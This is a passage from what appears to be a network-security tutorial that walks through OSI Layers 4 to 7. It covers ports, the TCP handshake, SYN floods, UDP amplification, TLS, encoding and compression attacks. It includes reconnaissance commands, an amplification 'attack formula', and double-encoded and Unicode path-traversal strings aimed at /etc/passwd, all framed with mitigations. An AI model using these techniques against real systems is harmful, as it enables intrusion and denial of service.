  119/TCP → NNTP (Usenet)
  123/UDP → NTP (time synchronisation)
  135/TCP → Microsoft RPC/DCOM
  137/UDP → NetBIOS Name Service
  138/UDP → NetBIOS Datagram Service
  139/TCP → NetBIOS Session Service
  143/TCP → IMAP (email retrieval)
  161/UDP → SNMP (network management)
  162/UDP → SNMP Trap
  389/TCP+UDP → LDAP
  443/TCP → HTTPS
  445/TCP → SMB (Windows file sharing, direct over TCP)
  465/TCP → SMTPS (SMTP over TLS)
  500/UDP → IKE (IPSec key exchange)
  502/TCP → Modbus TCP (industrial — no auth!)
  514/UDP → Syslog
  587/TCP → SMTP Submission
  593/TCP → RPC over HTTP
  636/TCP → LDAPS (LDAP over TLS)
  873/TCP → rsync
  993/TCP → IMAPS
  995/TCP → POP3S
  1080/TCP → SOCKS proxy
  1194/UDP → OpenVPN
  1433/TCP → Microsoft SQL Server
  1521/TCP → Oracle Database
  1723/TCP → PPTP VPN
  2049/TCP+UDP → NFS
  2375/TCP → Docker daemon (INSECURE — no TLS)
  2376/TCP → Docker daemon (TLS)
  2483/TCP → Oracle DB with TLS
  3306/TCP → MySQL/MariaDB
  3389/TCP → RDP (Remote Desktop)
  3478/UDP → STUN (WebRTC)
  4444/TCP → Metasploit default listener
  4786/TCP → Cisco Smart Install (extremely dangerous, weaponised)
  5000/TCP → Docker Registry, Flask dev server
  5432/TCP → PostgreSQL
  5900/TCP → VNC
  5985/TCP → WinRM (HTTP)
  5986/TCP → WinRM (HTTPS)
  6379/TCP → Redis (often exposed with no auth!)
  6443/TCP → Kubernetes API server
  8080/TCP → HTTP alternate (common for web apps, Burp proxy default)
  8443/TCP → HTTPS alternate
  9200/TCP → Elasticsearch (often exposed with no auth!)
  27017/TCP → MongoDB (often exposed with no auth!)
  47808/UDP → BACnet (building automation — no auth)
  44818/TCP → EtherNet/IP (industrial — CIP protocol)
  102/TCP → S7comm (Siemens PLC — Stuxnet used this)
  20000/TCP → DNP3 over TCP (power grid SCADA)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 TCP — Transmission Control Protocol
&lt;/h3&gt;

&lt;p&gt;TCP provides a reliable, ordered, error-checked byte stream between two applications. It achieves this through:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Three-Way Handshake — Connection Establishment:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client                          Server
  │                               │
  │──── SYN (seq=x) ────────────→ │  Client initiates
  │                               │  Server: "I see your request"
  │ ←── SYN-ACK (seq=y, ack=x+1) │  Server acknowledges + sends own seq
  │                               │
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges server's seq
  │                               │
  │         [Connected]           │
  │                               │
  │──── DATA ───────────────────→ │
  │ ←── ACK ──────────────────── │

SYN: Synchronise — "I want to establish a connection, my starting sequence number is x"
ACK: Acknowledge — "I received your data up to sequence number n"
seq: Sequence number — tracks position of data in the byte stream
ack: Acknowledgement number — "I've received everything up to here, send me this next"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why sequence numbers matter for security:&lt;/strong&gt;&lt;br&gt;
Early TCP implementations used predictable sequence numbers. An attacker could predict the server's sequence number, forge a TCP ACK, and inject data into a connection without completing the handshake — TCP session hijacking. Modern OSes use cryptographically random ISNs (Initial Sequence Numbers) per RFC 6528.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TCP Flags — the complete set:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Hex&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;Security Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SYN&lt;/td&gt;
&lt;td&gt;0x02&lt;/td&gt;
&lt;td&gt;Synchronise — initiate connection&lt;/td&gt;
&lt;td&gt;SYN flood, port scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACK&lt;/td&gt;
&lt;td&gt;0x10&lt;/td&gt;
&lt;td&gt;Acknowledge received data&lt;/td&gt;
&lt;td&gt;ACK scan bypasses stateless firewalls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FIN&lt;/td&gt;
&lt;td&gt;0x01&lt;/td&gt;
&lt;td&gt;Finish — graceful close&lt;/td&gt;
&lt;td&gt;FIN scan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RST&lt;/td&gt;
&lt;td&gt;0x04&lt;/td&gt;
&lt;td&gt;Reset — immediate close&lt;/td&gt;
&lt;td&gt;RST injection to terminate connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PSH&lt;/td&gt;
&lt;td&gt;0x08&lt;/td&gt;
&lt;td&gt;Push — deliver immediately&lt;/td&gt;
&lt;td&gt;Not security-relevant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;URG&lt;/td&gt;
&lt;td&gt;0x20&lt;/td&gt;
&lt;td&gt;Urgent — urgent pointer valid&lt;/td&gt;
&lt;td&gt;Used in some evasion techniques&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ECE&lt;/td&gt;
&lt;td&gt;0x40&lt;/td&gt;
&lt;td&gt;ECN-Echo — congestion signalling&lt;/td&gt;
&lt;td&gt;Not typically security-relevant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWR&lt;/td&gt;
&lt;td&gt;0x80&lt;/td&gt;
&lt;td&gt;Congestion Window Reduced&lt;/td&gt;
&lt;td&gt;Not typically security-relevant&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Four-Way Termination — Connection Teardown:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client                          Server
  │                               │
  │──── FIN (seq=x) ────────────→ │  Client done sending
  │ ←── ACK (ack=x+1) ─────────  │  Server acknowledges
  │                               │  [Server may still send data]
  │ ←── FIN (seq=y) ───────────── │  Server done sending
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges
  │                               │
  │         [Closed]              │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The TIME_WAIT state: After sending the final ACK, the client waits 2×MSL (Maximum Segment Lifetime, typically 60-240 seconds) before fully closing. This ensures the final ACK was received. TIME_WAIT exhaustion is a DoS vector — flood connections to force TIME_WAIT states until the system runs out of ephemeral ports.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TCP SYN Flood:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SYN flood attack:
1. Attacker sends large volume of SYN packets &lt;span class="o"&gt;(&lt;/span&gt;often with spoofed &lt;span class="nb"&gt;source &lt;/span&gt;IPs&lt;span class="o"&gt;)&lt;/span&gt;
2. Server allocates resources &lt;span class="k"&gt;for &lt;/span&gt;each half-open connection &lt;span class="o"&gt;(&lt;/span&gt;SYN_RECEIVED state&lt;span class="o"&gt;)&lt;/span&gt;
3. Server sends SYN-ACK to spoofed addresses &lt;span class="o"&gt;(&lt;/span&gt;no response comes back&lt;span class="o"&gt;)&lt;/span&gt;
4. Server&lt;span class="s1"&gt;'s connection table fills up
5. Legitimate connection requests are rejected — DoS

Mitigation: SYN cookies
  Instead of allocating state on SYN, server encodes connection parameters
  into the SYN-ACK sequence number cryptographically
  State is only allocated when valid ACK comes back
  No state for half-open connections → SYN flood ineffective

Check SYN cookie status on Linux:
cat /proc/sys/net/ipv4/tcp_syncookies
# 1 = enabled (default on modern kernels when under attack)
# 0 = disabled
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 UDP — User Datagram Protocol
&lt;/h3&gt;

&lt;p&gt;UDP provides a minimal transport with no connection establishment, no acknowledgements, no flow control, and no ordering guarantees.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UDP Header (8 bytes — much simpler than TCP's 20 bytes):
┌─────────────────┬─────────────────┐
│  Source Port    │  Dest Port      │  2 + 2 = 4 bytes
├─────────────────┼─────────────────┤
│    Length       │    Checksum     │  2 + 2 = 4 bytes
└─────────────────┴─────────────────┘
│         Data                      │
└───────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;UDP is used when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed matters more than reliability:&lt;/strong&gt; DNS (retry is easy), VoIP, video streaming&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application-level reliability:&lt;/strong&gt; The application handles retransmission if needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broadcast/Multicast:&lt;/strong&gt; TCP cannot broadcast; UDP can&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simple request/response:&lt;/strong&gt; DHCP, DNS, SNMP — one packet out, one packet back&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;UDP-based amplification DDoS:&lt;/strong&gt;&lt;br&gt;
UDP's connectionless nature enables amplification attacks. The attacker sends a small UDP request with a spoofed source IP (victim's IP) to a server with a large response. The server sends a large response to the victim.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Amplification factors:
  DNS:     28-54x (small query, large response with DNSSEC)
  NTP:     556x (monlist command — CVE-2013-5211)
  SSDP:    30x
  Memcached: 51,000x (CVE-2018-1000115 — this was the 1.7 Tbps attack)
  CLDAP:   70x

Attack formula:
  1. Attacker sends 100 Mbps of spoofed UDP queries
  2. With 50x amplification → victim receives 5 Gbps
  3. With 1,000 reflectors → 5 Tbps saturates any link

Mitigation:
  BCP38: ISPs filter spoofed source IPs (prevents amplification source)
  Rate limiting: Limit DNS response rate per source IP
  Disable unused services: NTP monlist disabled by default since ntpd 4.2.7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;QUIC — The Modern Transport:&lt;/strong&gt;&lt;br&gt;
QUIC (Quick UDP Internet Connections) is a L4 protocol built on UDP, developed by Google, standardised in RFC 9000 (2021). It powers HTTP/3.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;QUIC advantages:
  - Zero RTT connection establishment (vs TCP's 1 RTT + TLS's 1-2 RTT)
  - Built-in encryption (TLS 1.3 integrated — not optional)
  - Independent streams (one stream's loss doesn't block others)
  - Connection migration (IP address can change without dropping connection)
  - Used by: Google services, Cloudflare, Meta, ~25% of internet traffic (2024)

Security implications:
  - QUIC traffic is UDP, which many firewalls/IDS process less thoroughly than TCP
  - Always encrypted → prevents inspection without interception
  - Connection migration → complicates network forensics (connection ID instead of 5-tuple)
  - Fallback to TCP+TLS if UDP blocked → attackers cannot force QUIC only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The transport layer is where most network security controls operate — firewalls filter by port number, IDS/IPS inspect transport-layer behaviour, connection tracking is at Layer 4. Understanding TCP state (SYN, SYN-ACK, established, TIME_WAIT) and UDP's statelessness is essential for understanding how firewalls work, how to evade them, and how to build detection rules. Every port scanner, every firewall rule, every network IDS signature starts at Layer 4.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Layer 5 — Session
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 What Layer 5 Does
&lt;/h3&gt;

&lt;p&gt;Layer 5 manages &lt;strong&gt;sessions&lt;/strong&gt; — logical dialogues between applications. It provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Session establishment, maintenance, and termination&lt;/li&gt;
&lt;li&gt;Session synchronisation (checkpoints for recovery)&lt;/li&gt;
&lt;li&gt;Session multiplexing (multiple sessions over one transport connection)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice, the Session layer is the most abstract and least distinctly implemented of the seven layers. In the TCP/IP world, its functions are largely absorbed by the Application layer and the Transport layer. But conceptually it remains important, and several protocols and mechanisms specifically implement Session layer functionality.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 Session Layer Protocols
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NetBIOS (Network Basic Input/Output System):&lt;/strong&gt;&lt;br&gt;
NetBIOS provides session services for Windows networking — name registration, name resolution, and session establishment. Runs over UDP 137-138 (NetBIOS Name Service and Datagram Service) and TCP 139 (NetBIOS Session Service).&lt;/p&gt;

&lt;p&gt;NetBIOS is legacy technology but remains pervasive in enterprise environments for backward compatibility. It is the basis of several critical attack techniques:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# NetBIOS name resolution (legacy Windows name resolution)&lt;/span&gt;
nmblookup &lt;span class="nt"&gt;-A&lt;/span&gt; 192.168.1.100          &lt;span class="c"&gt;# NetBIOS names for IP address&lt;/span&gt;
nmblookup &lt;span class="s2"&gt;"WORKGROUP"&lt;/span&gt;               &lt;span class="c"&gt;# Find all machines in workgroup&lt;/span&gt;

&lt;span class="c"&gt;# NetBIOS scanning — enumerate Windows machines&lt;/span&gt;
nbtscan 192.168.1.0/24

&lt;span class="c"&gt;# NetBIOS names have specific suffixes indicating service:&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;00&amp;gt; = Workstation service&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;20&amp;gt; = File Server service&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;1D&amp;gt; = Master Browser&lt;/span&gt;
&lt;span class="c"&gt;# &amp;lt;1B&amp;gt; = Domain Master Browser&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RPC — Remote Procedure Call:&lt;/strong&gt;&lt;br&gt;
RPC allows a program to call functions on a remote system as if they were local. Microsoft's implementation (MSRPC) is the foundation of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Active Directory (Kerberos, LDAP, replication use RPC)&lt;/li&gt;
&lt;li&gt;Windows management (WMI)&lt;/li&gt;
&lt;li&gt;SMB&lt;/li&gt;
&lt;li&gt;DCOM
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RPC uses a portmapper (TCP/UDP 111 on Unix, TCP 135 on Windows)
to tell clients which port a specific RPC service is listening on.
This is why Windows systems have many high ports open — RPC services
bind to random high ports and register with the portmapper.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;RPC attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MS03-026 (2003): Buffer overflow in Windows RPC service — used by Blaster and Welchia worms to infect millions of machines&lt;/li&gt;
&lt;li&gt;MS17-010 (2017): EternalBlue — exploited SMBv1 over RPC, used by WannaCry and NotPetya&lt;/li&gt;
&lt;li&gt;CVE-2022-26809: Windows RPC RCE vulnerability, CVSS 9.8, required no authentication&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  7.3 TLS Handshake — Session Layer in Practice
&lt;/h3&gt;

&lt;p&gt;TLS (Transport Layer Security) is commonly described as a Presentation layer protocol (for its encryption), but its handshake and session establishment functions are clearly Session layer. The TLS handshake establishes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which cipher suite to use&lt;/li&gt;
&lt;li&gt;Server (and optionally client) authentication via certificates&lt;/li&gt;
&lt;li&gt;Session key derivation
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS 1.3 Handshake (simplified):
Client                              Server
  │                                   │
  │── ClientHello ─────────────────→  │  Supported ciphers, TLS version, random
  │   + key_share (Diffie-Hellman)    │  Client's DH public key
  │                                   │
  │ ←─ ServerHello ─────────────────  │  Selected cipher, server's DH public key
  │ ←─ {Certificate} ───────────────  │  Server's certificate (encrypted in TLS 1.3)
  │ ←─ {CertificateVerify} ─────────  │  Proof server owns the private key
  │ ←─ {Finished} ──────────────────  │
  │                                   │
  │── {Finished} ───────────────────→ │
  │                                   │
  │═══════════[Encrypted Data]════════│

{} = already encrypted using derived session key
Key: Both sides compute identical session key from DH exchange
     (Perfect Forward Secrecy — key not derived from certificate private key)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;TLS attack surface:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Downgrade attacks:&lt;/strong&gt; POODLE (CVE-2014-3566) forced SSLv3; DROWN (CVE-2016-0800) exploited SSLv2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BEAST (CVE-2011-3389):&lt;/strong&gt; Exploited CBC mode in TLS 1.0&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Heartbleed (CVE-2014-0160):&lt;/strong&gt; OpenSSL heap buffer over-read in TLS heartbeat extension — leaked server memory including private keys, session tokens, passwords. One of the most impactful vulnerabilities ever discovered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Certificate validation failures:&lt;/strong&gt; Many implementations historically failed to properly validate certificates (wrong hostname, expired, self-signed). HTTPS everywhere means certificate validation is now enforced in browsers.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check TLS configuration of a server&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443 &lt;span class="nt"&gt;-tls1_2&lt;/span&gt;    &lt;span class="c"&gt;# Force TLS 1.2&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443            &lt;span class="c"&gt;# Negotiate highest supported&lt;/span&gt;

&lt;span class="c"&gt;# SSLScan — comprehensive TLS testing&lt;/span&gt;
sslscan target:443

&lt;span class="c"&gt;# TestSSL.sh — detailed TLS security testing&lt;/span&gt;
testssl.sh target:443
&lt;span class="c"&gt;# Shows: supported versions, cipher suites, vulnerabilities (BEAST, POODLE, etc.)&lt;/span&gt;

&lt;span class="c"&gt;# Check certificate details&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443 &amp;lt;/dev/null 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Subject:|Issuer:|Not After"&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate TLS certificate information (useful for OSINT)&lt;/span&gt;
&lt;span class="c"&gt;# Certificates reveal: organisation name, internal hostnames (SANs),&lt;/span&gt;
&lt;span class="c"&gt;# email addresses, sometimes infrastructure details&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The Session layer is where authentication and encryption sessions are established. Attacking TLS (the most important session protocol in existence) is a rich field — every major TLS vulnerability has had massive real-world impact because TLS is on every HTTPS connection. Understanding how TLS establishes sessions is prerequisite to understanding SSL stripping, certificate pinning bypass, TLS interception proxies, and the entire HTTPS ecosystem.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  8. Layer 6 — Presentation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  8.1 What Layer 6 Does
&lt;/h3&gt;

&lt;p&gt;Layer 6 is responsible for &lt;strong&gt;data format translation&lt;/strong&gt;. It ensures that data from the application layer of one system can be read by the application layer of another system, regardless of internal representation differences. It handles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Encoding/decoding:&lt;/strong&gt; Converting data to a transmittable format and back&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption/decryption:&lt;/strong&gt; Transforming data to protect confidentiality&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compression/decompression:&lt;/strong&gt; Reducing data size for transmission&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Like Layer 5, Layer 6 is not implemented as a distinct layer in TCP/IP. Its functions are performed by specific protocols (TLS for encryption, HTTP Content-Encoding for compression) or by the application itself.&lt;/p&gt;
&lt;h3&gt;
  
  
  8.2 Data Encoding Formats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ASCII and Unicode:&lt;/strong&gt;&lt;br&gt;
Every text character transmitted on a network is encoded as a numeric value. ASCII (7-bit, 128 characters) is the historical standard. Unicode (UTF-8, UTF-16, UTF-32) extends this to cover all human writing systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security implication of encoding:&lt;/strong&gt;&lt;br&gt;
Different systems interpret the same byte sequences differently based on encoding. This has been the source of many vulnerabilities:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;UTF-8 multi-byte sequences and security:
  Normal: /etc/passwd  = 0x2F 0x65 0x74 0x63 ...
  Encoded: /%65%74%63/passwd  (URL encoding of 'e', 't', 'c')
           = /etc/passwd after decoding

  Some web application firewalls decode only once.
  Double encoding: %%36%35 → %65 → 'e' after two decode steps
  Some WAFs only decode once, missing the double-encoded attack

Unicode normalisation attacks:
  Some characters look visually identical but have different code points
  U+002F = "/" (normal slash)
  U+FF0F = "／" (fullwidth solidus) — visually identical
  A system that normalises before validation may accept ／etc/passwd
  and then access /etc/passwd after normalisation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Base64:&lt;/strong&gt;&lt;br&gt;
Base64 encodes binary data as printable ASCII characters. It is NOT encryption — it is encoding. Base64 is used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Transmit binary data in text-based protocols (email attachments in MIME)&lt;/li&gt;
&lt;li&gt;Obfuscate (not secure) data from casual inspection&lt;/li&gt;
&lt;li&gt;Encode credentials in HTTP Basic Authentication&lt;/li&gt;
&lt;li&gt;Encode PowerShell commands to bypass simple keyword detection
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Encode&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"admin:password"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt;      &lt;span class="c"&gt;# YWRtaW46cGFzc3dvcmQ=&lt;/span&gt;

&lt;span class="c"&gt;# Decode&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"YWRtaW46cGFzc3dvcmQ="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;   &lt;span class="c"&gt;# admin:password&lt;/span&gt;

&lt;span class="c"&gt;# HTTP Basic Auth header:&lt;/span&gt;
&lt;span class="c"&gt;# Authorization: Basic YWRtaW46cGFzc3dvcmQ=&lt;/span&gt;
&lt;span class="c"&gt;# This is NOT encrypted or secure — trivially decoded&lt;/span&gt;
&lt;span class="c"&gt;# Only safe over HTTPS&lt;/span&gt;

&lt;span class="c"&gt;# Detecting base64 in logs (common in PowerShell attacks)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-P&lt;/span&gt; &lt;span class="s1"&gt;'[A-Za-z0-9+/]{50,}={0,2}'&lt;/span&gt; /var/log/auth.log
&lt;span class="c"&gt;# PowerShell -EncodedCommand is always base64&lt;/span&gt;
&lt;span class="c"&gt;# Defenders must decode and inspect these&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  8.3 Compression and Security
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;CRIME and BREACH — Compression Oracle Attacks:&lt;/strong&gt;&lt;br&gt;
If data is compressed before being encrypted, and an attacker can inject data into the stream and observe the encrypted output length, they can infer information about the plaintext. Compression reduces repetition — if an attacker's injected string reduces the compressed size, it means the string appears in the plaintext.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CRIME (CVE-2012-4929):&lt;/strong&gt; Exploited TLS-level compression (DEFLATE) to recover HTTPS cookies. Fixed by disabling TLS-level compression.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BREACH (2013):&lt;/strong&gt; Exploited HTTP-level compression (gzip). Not a CVE but a design weakness. HTTPS body compression can leak secrets even when TLS is uncompromised.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BREACH attack in brief:
1. Attacker can make victim's browser send authenticated HTTP requests
   (through JavaScript injection on another page)
2. HTTP response is compressed+encrypted
3. Attacker injects guesses into the URL: ?csrf_guess=a, ?csrf_guess=b, etc.
4. Measures encrypted response length
5. When guess matches part of the real CSRF token, compression is more effective
   and encrypted response is shorter
6. Character by character, attacker recovers the full CSRF token

This works because gzip compresses repeated strings efficiently.
If the secret appears twice (real + attacker's guess), the compressed size drops.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  8.4 Encryption at Layer 6
&lt;/h3&gt;

&lt;p&gt;While IPSec operates at Layer 3, TLS at Layers 5-6, and application-level encryption at Layer 7, the Presentation layer is conceptually where encryption transforms plaintext to ciphertext and back.&lt;/p&gt;

&lt;p&gt;For security professionals, the critical understanding is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Encryption placement matters enormously:

End-to-end (application layer encryption, e.g., PGP email):
  [User A] → [encrypted] → [Server] → [encrypted] → [User B]
  Server sees: only encrypted data. Cannot read content.

TLS (transport/presentation encryption, e.g., HTTPS):
  [User A] → [encrypted] → [Server] → [plaintext] → [User B's server]
  The TLS-terminating server sees plaintext.
  CDN, load balancers, inspection proxies: all see plaintext

Network layer encryption (IPSec):
  [Host A] → [encrypted] → [VPN Gateway] → [plaintext] → [internal network]
  Everything beyond the VPN gateway is plaintext
  Lateral movement after VPN access is unencrypted unless additional layers exist
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This hierarchy is why Zero Trust architectures use end-to-end or application-level encryption even inside the "trusted" network — because TLS termination points and VPN gateways represent points where traffic is cleartext.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Layer 6 is where data format vulnerabilities live — encoding attacks, compression oracles, serialisation vulnerabilities. It is also where encryption is logically applied, and understanding which layer terminates encryption determines what any given system can inspect. A CDN that terminates TLS sees your plaintext. An IPSec VPN gateway sees plaintext past the gateway. This shapes both attack and defence architecture.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Layer 7 — Application
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 What Layer 7 Does
&lt;/h3&gt;

&lt;p&gt;Layer 7 is the layer closest to the user. Application layer protocols define the rules for specific types of communication — how web browsers request pages, how email is delivered, how domain names are resolved, how files are transferred, and how industrial controllers receive commands.&lt;/p&gt;

&lt;p&gt;Layer 7 is where the vast majority of security vulnerabilities exist. SQL injection, XSS, CSRF, command injection, authentication bypasses — these are all Layer 7 vulnerabilities. The application's logic, not the network infrastructure, is the attack surface.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 Critical Application Layer Protocols
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;HTTP/HTTPS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP Request:
  GET /index.html HTTP/1.1          ← Method, URI, version
  Host: example.com                 ← Target host
  User-Agent: Mozilla/5.0...        ← Client identification
  Accept: text/html                 ← Content types accepted
  Cookie: session=abc123            ← Session token ← ATTACK TARGET
  Authorization: Bearer &amp;lt;JWT&amp;gt;       ← Auth token ← ATTACK TARGET
  Content-Length: 0
  [blank line]

HTTP Response:
  HTTP/1.1 200 OK
  Content-Type: text/html
  Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  Content-Security-Policy: default-src 'self'
  X-Frame-Options: DENY
  [blank line]
  [body]

Security headers in responses:
  HSTS: Forces HTTPS for specified duration
  CSP: Controls what resources can load (prevents XSS impact)
